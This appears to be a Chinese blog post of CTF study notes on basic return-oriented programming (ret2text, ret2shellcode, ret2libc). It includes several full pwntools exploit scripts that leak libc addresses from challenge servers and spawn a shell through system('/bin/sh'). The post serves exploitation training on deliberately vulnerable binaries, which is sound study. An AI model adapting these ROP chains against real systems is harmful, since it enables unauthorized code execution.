基本ROP
ret2text
[NewStarCTF 2023 公开赛道]ret2text
(64)
execve本身并不是一个后门函数。
实际上,execve是一个标准的系统调用函数,用于在 Linux和类 Unix 系统中执行一个新的程序。
它的原型如下:
该函数接受三个参数:
1. filename:要执行的程序的文件名或路径。
2. argv:一个以 NULL 结尾的字符串数组,表示传递给新程序的命令行参数。
3. envp:一个以 NULL 结尾的字符串数组,表示新程序的环境变量。当调用execve函数时,它会将当前进程替换为新程序的代码,并开始执行新程序。
新程序接收argv和envp作为命令行参数和环境变量。
ret2shellcode
未开启NX保护,可以shellcode
v4_addr = int(r.recvline()[33:-1],16):
使用切片操作 [33:-1] 从接收到的数据中提取出地址部分。这个切片操作假设地址信息从第34个字符开始(因为Python的索引是从0开始的),并且忽略最后一个字符(通常是换行符 \n )。
将提取出的地址字符串转换为整数。 int() 函数用于将字符串转换为整数,这里的基数是16,因为地址通常是以十六进制形式表示的。
shellcode.ljust(0x60+8, b'a') :
• shellcode :这是一段用于执行攻击者希望在目标机器上执行的代码的二进制序列,通常是一个shellcode,它能够创建一个反向shell或者执行其他恶意操作。
• ljust(width, fillchar) :这是一个字符串方法,用于将原字符串左对齐,并使用 fillchar (在这里是 b'a' ,即ASCII码中的'a'字符)填充至指定的 width 宽度。如果原字符串超过这个宽度,则不会截断。
需要指定架构,因为pwn中默认生成的shellcode是32位的,所以不进行指定的话是打不通的,当遇到64位程序的时候一定要进行指定
ret2libc
ctfshow pwn48
(puts)(32)
from pwn import *
from LibcSearcher import *
io = remote('pwn.challenge.ctf.show',28168)
elf = ELF('./pwn48')
main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload1 = cyclic(0x6B+4) + p32(puts_plt) + p32(main) + p32(puts_got)
io.sendline(payload1)
puts = u32(io.recvuntil(b'\xf7')[-4:])
print(hex(puts))
libc = LibcSearcher('puts',puts)
libc_base = puts - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload2 = cyclic(0x6B+4) + p32(system_addr) + p32(main) + p32(binsh_addr)
io.sendline(payload2)
io.interactive()
[NewStarCTF 2023 公开赛道]ret2libc
(puts)(64)
ret栈对齐
from pwn import *
from LibcSearcher import *
io = remote('node5.buuoj.cn',28022)
#io = process('./ret2libc')
elf = ELF('./ret2libc')
main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_addr=0x0400763
payload1 = cyclic(0x28) + p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt)+p64(main)
io.sendline(payload1)
#puts = u64(io.recvuntil(b'\xf7')[-8:])
#puts = u64((io.recvline().split(b'\x0a')[0]).ljust(8,b'\x00'))
puts = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\0'))
print(hex(puts))
libc = LibcSearcher('puts',puts)
libc_base = puts - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
pop_ret_addr=0x0400506
payload2 = cyclic(0x28) + p64(pop_ret_addr) +p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr)
io.sendline(payload2)
io.interactive()
ctfshow pwn45
(write)(32)
from pwn import *
from LibcSearcher import *
io = remote('pwn.challenge.ctf.show',28245)
elf = ELF('./pwn45')
main = elf.sym['main']
write_plt = elf.plt['write']
write_got = elf.got['write']
payload = cyclic(0x6B+4) + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
io.sendline(payload)
writes = u32(io.recvuntil(b'\xf7')[-4:])
print(hex(writes))
libc = LibcSearcher('write',writes)
libc_base = writes - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = cyclic(0x6B+4) + p32(system_addr) + p32(main) + p32(binsh_addr)
io.sendline(payload)
io.interactive()
or
from pwn import *
from LibcSearcher import *
context.log_level='debug'
io = remote('node5.buuoj.cn',29569)
elf = ELF('./level3')
libc=ELF('./libc-2.23.so')
main = elf.sym['main']
write_plt = elf.plt['write']
write_got = elf.got['write']
payload = cyclic(0x88+4) + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
io.recvuntil('Input:\n')
io.sendline(payload)
#writes = u32(io.recvuntil('\xf7')[-4:])
writes=u32(io.recv(4))
print(hex(writes))
libc_base = writes - libc.symbols['write']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search(b'/bin/sh\x00').__next__()
payload = cyclic(0x88+4) + p32(system_addr) + p32(main) + p32(binsh_addr)
io.recvuntil('Input:\n')
io.sendline(payload)
io.interactive()
ctfshow pwn46
(write)(64)
from pwn import *
from LibcSearcher import *
io = remote('pwn.challenge.ctf.show',28137)
elf = ELF('./pwn46')
main = elf.sym['main']
write_plt = elf.plt['write']
write_got = elf.got['write']
pop_rdi_addr = 0x0400803
pop_esi_addr = 0x0400801
payload1 = cyclic(0x70+8) + p64(pop_rdi_addr) + p64(1)
payload1 += p64(pop_esi_addr) + p64(write_got) + p64(0)
payload1 += p64(write_plt)
payload1 += p64(main)
io.sendline(payload1)
write = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(write))
libc = LibcSearcher('write',write)
libc_base = write - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload2 = cyclic(0x70+8) + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr)
io.sendline(payload2)
io.interactive()
write函数原型
ssize_t write(int fildes, const void *buf, size_t nbyte);
参数:
• fildes :文件描述符,这是一个非负整数,用于标识一个打开的文件或者其他类型的文件描述符。
• buf :指向要写入数据的缓冲区的指针。
• nbyte :要写入的字节数。
返回值:
• 成功时,返回写入的字节数。
• 如果发生错误,返回 -1 ,并设置 errno 以指示错误类型。
write 函数会尝试将 nbyte 字节的数据从 buf 指向的缓冲区写入到 fildes 指定的文件描述符。如果写入成功,它返回实际写入的字节数。如果返回的值小于 nbyte ,则可能意味着写入操作没有完成,或者遇到了文件末尾(EOF)。
puts函数原型
int puts(const char *str);
•参数:
• str :指向一个以 null 结尾的字符串的指针,该字符串将被输出到标准输出。
• 返回值:• 成功时返回一个非负整数。• 如果发生错误,则返回 EOF (通常是 -1)。
puts 函数会输出传入的字符串,并在字符串的末尾添加一个换行符。如果字符串本身以换行符结尾, puts 会再添加一个换行符,因此输出可能会包含两个连续的换行符。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Ollama——大语言模型本地部署的极速利器
· 使用C#创建一个MCP客户端
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· ollama系列1:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现